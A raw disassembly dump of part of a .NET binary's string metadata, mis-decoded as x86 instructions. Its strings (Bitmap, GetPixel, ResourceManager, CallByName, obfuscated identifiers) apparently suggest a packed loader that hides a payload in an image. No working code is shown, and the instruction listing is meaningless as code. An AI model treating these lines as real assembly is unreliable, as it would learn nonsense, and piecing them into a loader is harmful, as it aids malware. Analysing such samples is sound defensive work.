415a1a:	6f                   	outsl  %ds:(%esi),(%dx)
415a1b:	6e                   	outsb  %ds:(%esi),(%dx)
415a1c:	41                   	inc    %ecx
415a1d:	74 74                	je     0x415a93
415a1f:	72 69                	jb     0x415a8a
415a21:	62 75 74             	bound  %esi,0x74(%ebp)
415a24:	65 00 54 61 72       	add    %dl,%gs:0x72(%ecx,%eiz,2)
415a29:	67 65 74 46          	addr16 gs je 0x415a73
415a2d:	72 61                	jb     0x415a90
415a2f:	6d                   	insl   (%dx),%es:(%edi)
415a30:	65 77 6f             	gs ja  0x415aa2
415a33:	72 6b                	jb     0x415aa0
415a35:	41                   	inc    %ecx
415a36:	74 74                	je     0x415aac
415a38:	72 69                	jb     0x415aa3
415a3a:	62 75 74             	bound  %esi,0x74(%ebp)
415a3d:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
415a41:	73 74                	jae    0x415ab7
415a43:	65 6d                	gs insl (%dx),%es:(%edi)
415a45:	2e 52                	cs push %edx
415a47:	75 6e                	jne    0x415ab7
415a49:	74 69                	je     0x415ab4
415a4b:	6d                   	insl   (%dx),%es:(%edi)
415a4c:	65 2e 56             	gs cs push %esi
415a4f:	65 72 73             	gs jb  0x415ac5
415a52:	69 6f 6e 69 6e 67 00 	imul   $0x676e69,0x6e(%edi),%ebp
415a59:	43                   	inc    %ebx
415a5a:	6c                   	insb   (%dx),%es:(%edi)
415a5b:	6f                   	outsl  %ds:(%esi),(%dx)
415a5c:	63 6b 43             	arpl   %ebp,0x43(%ebx)
415a5f:	6f                   	outsl  %ds:(%esi),(%dx)
415a60:	75 6e                	jne    0x415ad0
415a62:	74 65                	je     0x415ac9
415a64:	72 2e                	jb     0x415a94
415a66:	64 6c                	fs insb (%dx),%es:(%edi)
415a68:	6c                   	insb   (%dx),%es:(%edi)
415a69:	00 3c 4d 6f 64 75 6c 	add    %bh,0x6c75646f(,%ecx,2)
415a70:	65 3e 00 73 6d       	gs add %dh,%ds:0x6d(%ebx)
415a75:	33 59 5a             	xor    0x5a(%ecx),%ebx
415a78:	6f                   	outsl  %ds:(%esi),(%dx)
415a79:	6f                   	outsl  %ds:(%esi),(%dx)
415a7a:	43                   	inc    %ebx
415a7b:	74 6e                	je     0x415aeb
415a7d:	76 30                	jbe    0x415aaf
415a7f:	4d                   	dec    %ebp
415a80:	6d                   	insl   (%dx),%es:(%edi)
415a81:	77 6c                	ja     0x415aef
415a83:	37                   	aaa
415a84:	64 00 4f 62          	add    %cl,%fs:0x62(%edi)
415a88:	6a 65                	push   $0x65
415a8a:	63 74 00 43          	arpl   %esi,0x43(%eax,%eax,1)
415a8e:	6c                   	insb   (%dx),%es:(%edi)
415a8f:	6f                   	outsl  %ds:(%esi),(%dx)
415a90:	63 6b 53             	arpl   %ebp,0x53(%ebx)
415a93:	65 63 74 6f 72       	arpl   %esi,%gs:0x72(%edi,%ebp,2)
415a98:	00 50 6f             	add    %dl,0x6f(%eax)
415a9b:	77 65                	ja     0x415b02
415a9d:	72 65                	jb     0x415b04
415a9f:	64 42                	fs inc %edx
415aa1:	79 41                	jns    0x415ae4
415aa3:	74 74                	je     0x415b19
415aa5:	72 69                	jb     0x415b10
415aa7:	62 75 74             	bound  %esi,0x74(%ebp)
415aaa:	65 00 53 6d          	add    %dl,%gs:0x6d(%ebx)
415aae:	61                   	popa
415aaf:	72 74                	jb     0x415b25
415ab1:	41                   	inc    %ecx
415ab2:	73 73                	jae    0x415b27
415ab4:	65 6d                	gs insl (%dx),%es:(%edi)
415ab6:	62 6c 79 2e          	bound  %ebp,0x2e(%ecx,%edi,2)
415aba:	41                   	inc    %ecx
415abb:	74 74                	je     0x415b31
415abd:	72 69                	jb     0x415b28
415abf:	62 75 74             	bound  %esi,0x74(%ebp)
415ac2:	65 73 00             	gs jae 0x415ac5
415ac5:	41                   	inc    %ecx
415ac6:	74 74                	je     0x415b3c
415ac8:	72 69                	jb     0x415b33
415aca:	62 75 74             	bound  %esi,0x74(%ebp)
415acd:	65 00 43 6f          	add    %al,%gs:0x6f(%ebx)
415ad1:	72 6f                	jb     0x415b42
415ad3:	6e                   	outsb  %ds:(%esi),(%dx)
415ad4:	61                   	popa
415ad5:	00 42 79             	add    %al,0x79(%edx)
415ad8:	74 65                	je     0x415b3f
415ada:	00 63 35             	add    %ah,0x35(%ebx)
415add:	00 41 72             	add    %al,0x72(%ecx)
415ae0:	72 61                	jb     0x415b43
415ae2:	79 00                	jns    0x415ae4
415ae4:	43                   	inc    %ebx
415ae5:	6f                   	outsl  %ds:(%esi),(%dx)
415ae6:	70 79                	jo     0x415b61
415ae8:	00 49 4d             	add    %cl,0x4d(%ecx)
415aeb:	4d                   	dec    %ebp
415aec:	4d                   	dec    %ebp
415aed:	4d                   	dec    %ebp
415aee:	00 42 69             	add    %al,0x69(%edx)
415af1:	74 6d                	je     0x415b60
415af3:	61                   	popa
415af4:	70 00                	jo     0x415af6
415af6:	53                   	push   %ebx
415af7:	79 73                	jns    0x415b6c
415af9:	74 65                	je     0x415b60
415afb:	6d                   	insl   (%dx),%es:(%edi)
415afc:	2e 44                	cs inc %esp
415afe:	72 61                	jb     0x415b61
415b00:	77 69                	ja     0x415b6b
415b02:	6e                   	outsb  %ds:(%esi),(%dx)
415b03:	67 00 56 52          	add    %dl,0x52(%bp)
415b07:	52                   	push   %edx
415b08:	52                   	push   %edx
415b09:	52                   	push   %edx
415b0a:	52                   	push   %edx
415b0b:	52                   	push   %edx
415b0c:	52                   	push   %edx
415b0d:	52                   	push   %edx
415b0e:	52                   	push   %edx
415b0f:	52                   	push   %edx
415b10:	52                   	push   %edx
415b11:	00 4c 69 73          	add    %cl,0x73(%ecx,%ebp,2)
415b15:	74 60                	je     0x415b77
415b17:	31 00                	xor    %eax,(%eax)
415b19:	53                   	push   %ebx
415b1a:	79 73                	jns    0x415b8f
415b1c:	74 65                	je     0x415b83
415b1e:	6d                   	insl   (%dx),%es:(%edi)
415b1f:	2e 43                	cs inc %ebx
415b21:	6f                   	outsl  %ds:(%esi),(%dx)
415b22:	6c                   	insb   (%dx),%es:(%edi)
415b23:	6c                   	insb   (%dx),%es:(%edi)
415b24:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
415b29:	6e                   	outsb  %ds:(%esi),(%dx)
415b2a:	73 2e                	jae    0x415b5a
415b2c:	47                   	inc    %edi
415b2d:	65 6e                	outsb  %gs:(%esi),(%dx)
415b2f:	65 72 69             	gs jb  0x415b9b
415b32:	63 00                	arpl   %eax,(%eax)
415b34:	43                   	inc    %ebx
415b35:	6f                   	outsl  %ds:(%esi),(%dx)
415b36:	6c                   	insb   (%dx),%es:(%edi)
415b37:	6f                   	outsl  %ds:(%esi),(%dx)
415b38:	72 00                	jb     0x415b3a
415b3a:	47                   	inc    %edi
415b3b:	65 74 50             	gs je  0x415b8e
415b3e:	69 78 65 6c 00 46 72 	imul   $0x7246006c,0x65(%eax),%edi
415b45:	6f                   	outsl  %ds:(%esi),(%dx)
415b46:	6d                   	insl   (%dx),%es:(%edi)
415b47:	41                   	inc    %ecx
415b48:	72 67                	jb     0x415bb1
415b4a:	62 00                	bound  %eax,(%eax)
415b4c:	6f                   	outsl  %ds:(%esi),(%dx)
415b4d:	70 5f                	jo     0x415bae
415b4f:	49                   	dec    %ecx
415b50:	6e                   	outsb  %ds:(%esi),(%dx)
415b51:	65 71 75             	gs jno 0x415bc9
415b54:	61                   	popa
415b55:	6c                   	insb   (%dx),%es:(%edi)
415b56:	69 74 79 00 67 65 74 	imul   $0x5f746567,0x0(%ecx,%edi,2),%esi
415b5d:	5f
415b5e:	52                   	push   %edx
415b5f:	00 67 65             	add    %ah,0x65(%edi)
415b62:	74 5f                	je     0x415bc3
415b64:	47                   	inc    %edi
415b65:	00 67 65             	add    %ah,0x65(%edi)
415b68:	74 5f                	je     0x415bc9
415b6a:	42                   	inc    %edx
415b6b:	00 41 64             	add    %al,0x64(%ecx)
415b6e:	64 52                	fs push %edx
415b70:	61                   	popa
415b71:	6e                   	outsb  %ds:(%esi),(%dx)
415b72:	67 65 00 49 45       	add    %cl,%gs:0x45(%bx,%di)
415b77:	6e                   	outsb  %ds:(%esi),(%dx)
415b78:	75 6d                	jne    0x415be7
415b7a:	65 72 61             	gs jb  0x415bde
415b7d:	62 6c 65 60          	bound  %ebp,0x60(%ebp,%eiz,2)
415b81:	31 00                	xor    %eax,(%eax)
415b83:	54                   	push   %esp
415b84:	6f                   	outsl  %ds:(%esi),(%dx)
415b85:	41                   	inc    %ecx
415b86:	72 72                	jb     0x415bfa
415b88:	61                   	popa
415b89:	79 00                	jns    0x415b8b
415b8b:	49                   	dec    %ecx
415b8c:	6d                   	insl   (%dx),%es:(%edi)
415b8d:	61                   	popa
415b8e:	67 65 00 67 65       	add    %ah,%gs:0x65(%bx)
415b93:	74 5f                	je     0x415bf4
415b95:	57                   	push   %edi
415b96:	69 64 74 68 00 67 65 	imul   $0x74656700,0x68(%esp,%esi,2),%esp
415b9d:	74
415b9e:	5f                   	pop    %edi
415b9f:	48                   	dec    %eax
415ba0:	65 69 67 68 74 00 58 	imul   $0x41580074,%gs:0x68(%edi),%esp
415ba7:	41
415ba8:	58                   	pop    %eax
415ba9:	41                   	inc    %ecx
415baa:	58                   	pop    %eax
415bab:	41                   	inc    %ecx
415bac:	58                   	pop    %eax
415bad:	00 6d 6d             	add    %ch,0x6d(%ebp)
415bb0:	00 78 78             	add    %bh,0x78(%eax)
415bb3:	00 52 65             	add    %dl,0x65(%edx)
415bb6:	73 6f                	jae    0x415c27
415bb8:	75 72                	jne    0x415c2c
415bba:	63 65 4d             	arpl   %esp,0x4d(%ebp)
415bbd:	61                   	popa
415bbe:	6e                   	outsb  %ds:(%esi),(%dx)
415bbf:	61                   	popa
415bc0:	67 65 72 00          	addr16 gs jb 0x415bc4
415bc4:	53                   	push   %ebx
415bc5:	79 73                	jns    0x415c3a
415bc7:	74 65                	je     0x415c2e
415bc9:	6d                   	insl   (%dx),%es:(%edi)
415bca:	2e 52                	cs push %edx
415bcc:	65 73 6f             	gs jae 0x415c3e
415bcf:	75 72                	jne    0x415c43
415bd1:	63 65 73             	arpl   %esp,0x73(%ebp)
415bd4:	00 43 6f             	add    %al,0x6f(%ebx)
415bd7:	6e                   	outsb  %ds:(%esi),(%dx)
415bd8:	63 61 74             	arpl   %esp,0x74(%ecx)
415bdb:	00 41 73             	add    %al,0x73(%ecx)
415bde:	73 65                	jae    0x415c45
415be0:	6d                   	insl   (%dx),%es:(%edi)
415be1:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
415be5:	47                   	inc    %edi
415be6:	65 74 45             	gs je  0x415c2e
415be9:	6e                   	outsb  %ds:(%esi),(%dx)
415bea:	74 72                	je     0x415c5e
415bec:	79 41                	jns    0x415c2f
415bee:	73 73                	jae    0x415c63
415bf0:	65 6d                	gs insl (%dx),%es:(%edi)
415bf2:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
415bf6:	47                   	inc    %edi
415bf7:	65 74 4f             	gs je  0x415c49
415bfa:	62 6a 65             	bound  %ebp,0x65(%edx)
415bfd:	63 74 00 53          	arpl   %esi,0x53(%eax,%eax,1)
415c01:	68 6f 77 4d 61       	push   $0x614d776f
415c06:	70 00                	jo     0x415c08
415c08:	43                   	inc    %ebx
415c09:	53                   	push   %ebx
415c0a:	43                   	inc    %ebx
415c0b:	53                   	push   %ebx
415c0c:	43                   	inc    %ebx
415c0d:	56                   	push   %esi
415c0e:	44                   	inc    %esp
415c0f:	57                   	push   %edi
415c10:	44                   	inc    %esp
415c11:	44                   	inc    %esp
415c12:	00 45 51             	add    %al,0x51(%ebp)
415c15:	00 49 6e             	add    %cl,0x6e(%ecx)
415c18:	74 65                	je     0x415c7f
415c1a:	72 61                	jb     0x415c7d
415c1c:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
415c20:	6e                   	outsb  %ds:(%esi),(%dx)
415c21:	00 4d 69             	add    %cl,0x69(%ebp)
415c24:	63 72 6f             	arpl   %esi,0x6f(%edx)
415c27:	73 6f                	jae    0x415c98
415c29:	66 74 2e             	data16 je 0x415c5a
415c2c:	56                   	push   %esi
415c2d:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
415c34:	73 69                	jae    0x415c9f
415c36:	63 00                	arpl   %eax,(%eax)
415c38:	43                   	inc    %ebx
415c39:	61                   	popa
415c3a:	6c                   	insb   (%dx),%es:(%edi)
415c3b:	6c                   	insb   (%dx),%es:(%edi)
415c3c:	42                   	inc    %edx
415c3d:	79 4e                	jns    0x415c8d
415c3f:	61                   	popa
415c40:	6d                   	insl   (%dx),%es:(%edi)
415c41:	65 00 43 61          	add    %al,%gs:0x61(%ebx)
415c45:	6c                   	insb   (%dx),%es:(%edi)
415c46:	6c                   	insb   (%dx),%es:(%edi)
415c47:	54                   	push   %esp
415c48:	79 70                	jns    0x415cba
415c4a:	65 00 50 72          	add    %dl,%gs:0x72(%eax)
415c4e:	6f                   	outsl  %ds:(%esi),(%dx)
415c4f:	6a 65                	push   $0x65
415c51:	63 74 44 61          	arpl   %esi,0x61(%esp,%eax,2)
415c55:	74 61                	je     0x415cb8
415c57:	00 4d 69             	add    %cl,0x69(%ebp)
415c5a:	63 72 6f             	arpl   %esi,0x6f(%edx)
415c5d:	73 6f                	jae    0x415cce
415c5f:	66 74 2e             	data16 je 0x415c90
415c62:	56                   	push   %esi
415c63:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
415c6a:	73 69                	jae    0x415cd5
415c6c:	63 2e                	arpl   %ebp,(%esi)
415c6e:	43                   	inc    %ebx
415c6f:	6f                   	outsl  %ds:(%esi),(%dx)
415c70:	6d                   	insl   (%dx),%es:(%edi)
415c71:	70 69                	jo     0x415cdc
415c73:	6c                   	insb   (%dx),%es:(%edi)
415c74:	65 72 53             	gs jb  0x415cca
415c77:	65 72 76             	gs jb  0x415cf0
415c7a:	69 63 65 73 00 45 6e 	imul   $0x6e450073,0x65(%ebx),%esp
415c81:	64 41                	fs inc %ecx
415c83:	70 70                	jo     0x415cf5
415c85:	00 54 68 72          	add    %dl,0x72(%eax,%ebp,2)
415c89:	65 61                	gs popa
415c8b:	64 00 53 79          	add    %dl,%fs:0x79(%ebx)
415c8f:	73 74                	jae    0x415d05
415c91:	65 6d                	gs insl (%dx),%es:(%edi)
415c93:	2e 54                	cs push %esp
415c95:	68 72 65 61 64       	push   $0x64616572
415c9a:	69 6e 67 00 53 6c 65 	imul   $0x656c5300,0x67(%esi),%ebp
415ca1:	65 70 00             	gs jo  0x415ca4
415ca4:	41                   	inc    %ecx
415ca5:	70 70                	jo     0x415d17
415ca7:	44                   	inc    %esp
415ca8:	6f                   	outsl  %ds:(%esi),(%dx)
415ca9:	6d                   	insl   (%dx),%es:(%edi)
415caa:	61                   	popa
415cab:	69 6e 00 67 65 74 5f 	imul   $0x5f746567,0x0(%esi),%ebp
415cb2:	43                   	inc    %ebx
415cb3:	75 72                	jne    0x415d27
415cb5:	72 65                	jb     0x415d1c
415cb7:	6e                   	outsb  %ds:(%esi),(%dx)
415cb8:	74 44                	je     0x415cfe
415cba:	6f                   	outsl  %ds:(%esi),(%dx)
415cbb:	6d                   	insl   (%dx),%es:(%edi)
415cbc:	61                   	popa
415cbd:	69 6e 00 53 6e 6c 4b 	imul   $0x4b6c6e53,0x0(%esi),%ebp
415cc4:	69 61 33 6f 61 6d 58 	imul   $0x586d616f,0x33(%ecx),%esp
415ccb:	74 63                	je     0x415d30
415ccd:	42                   	inc    %edx
415cce:	4c                   	dec    %esp
415ccf:	6d                   	insl   (%dx),%es:(%edi)
415cd0:	75 51                	jne    0x415d23
415cd2:	00 7a 54             	add    %bh,0x54(%edx)
415cd5:	33 55 35             	xor    0x35(%ebp),%edx
415cd8:	5a                   	pop    %edx
415cd9:	6e                   	outsb  %ds:(%esi),(%dx)
415cda:	44                   	inc    %esp
415cdb:	75 56                	jne    0x415d33
415cdd:	64 30 6c 4d 64       	xor    %ch,%fs:0x64(%ebp,%ecx,2)
415ce2:	62 65 71             	bound  %esp,0x71(%ebp)
415ce5:	00 00                	add    %al,(%eax)
415ce7:	00 00                	add    %al,(%eax)
415ce9:	00 2b                	add    %ch,(%ebx)
415ceb:	2e 00 50 00          	add    %dl,%cs:0x0(%eax)
415cef:	72 00                	jb     0x415cf1
415cf1:	6f                   	outsl  %ds:(%esi),(%dx)
415cf2:	00 70 00             	add    %dh,0x0(%eax)
415cf5:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
415cf9:	74 00                	je     0x415cfb
415cfb:	69 00 65 00 73 00    	imul   $0x730065,(%eax),%eax
415d01:	2e 00 52 00          	add    %dl,%cs:0x0(%edx)
415d05:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
415d09:	6f                   	outsl  %ds:(%esi),(%dx)